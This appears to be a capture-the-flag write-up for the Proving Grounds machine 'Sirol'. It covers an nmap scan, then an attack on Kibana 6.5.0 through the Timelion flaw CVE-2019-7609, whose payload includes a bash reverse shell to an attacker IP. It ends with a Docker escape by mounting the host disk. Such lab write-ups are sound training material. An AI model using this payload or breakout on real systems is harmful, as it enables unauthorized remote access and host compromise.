> For the complete documentation index, see [llms.txt](https://viperone.gitbook.io/pentest-everything/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://viperone.gitbook.io/pentest-everything/writeups/pg-practice/linux/sirol.md).

# Sirol

Proving Grounds PG Practice Sirol writeup

## Nmap

```
sudo nmap 192.168.64.54 -p- -sS -sV

PORT      STATE  SERVICE   VERSION
22/tcp    open   ssh       OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
53/tcp    closed domain
80/tcp    open   http      Apache httpd 2.4.25 ((Debian))
3306/tcp  open   mysql     MariaDB (unauthorized)
5601/tcp  open   esmagent?
24007/tcp open   rpcbind
```

Port 5601 is hosting Kibana. Looking through the management option on the left shows we are running version 6.5.0.

![http://192.168.64.54:5601/app/kibana#/management?\_g=()](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-4ab628c58637f82e05141b32d126dadb3efad0f7%2Fimage.png?alt=media)

Researching vulnerabilities on Google regarding this version takes us to a RCE exploit abusing the Timelion feature.

{% embed url="<https://github.com/mpgn/CVE-2019-7609>" %}

From here I used the second payload shown on the GitHub and pasted this into Timelion to point back to my IP and port 5601.

```bash
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -c \'bash -i>& /dev/tcp/<IP>/5601 0>&1\'");//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
```

{% hint style="info" %}
If you are unable to get code execution reset the machine and try again in a incognito browser window.
{% endhint %}

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-a505c5a586545cb3dc6b83aaa9d13c9d445e7d06%2Fimage.png?alt=media)

From here and as per the GitHub instructions hit the run button and then set up a `netcat` listener to the specified port.

After then browsing to the 'Canvas' page we should receive a root shell back on our listener.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-9edb0f844647c4950a279af41dca9486916b2f22%2Fimage.png?alt=media)

Listing everything inside the '/' directory shows a .dockerenv file. This combined with the hostname of 0873e8062560 means we are likely running inside a docker container.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-f840a2629bebc5230ffbfb0eddb4ea4390bc1982%2Fimage.png?alt=media)

Using the command `fdisk -l` we can list the hosts disks.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-228fb57b8655e982662b7c1841d1b24471247d49%2Fimage.png?alt=media)

We can then create a directory and attempt to mount **/dev/sda1** to it so we can see if we can browse the hosts file system.

```bash
mkdir /mnt/own
mount /dev/sda1 /mnt/own
cd /mnt/own
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-36d1824bc0275b954b1cac6c733d1dfe00d02220%2Fimage.png?alt=media)

## References:

* <https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout>
* <https://github.com/mpgn/CVE-2019-7609>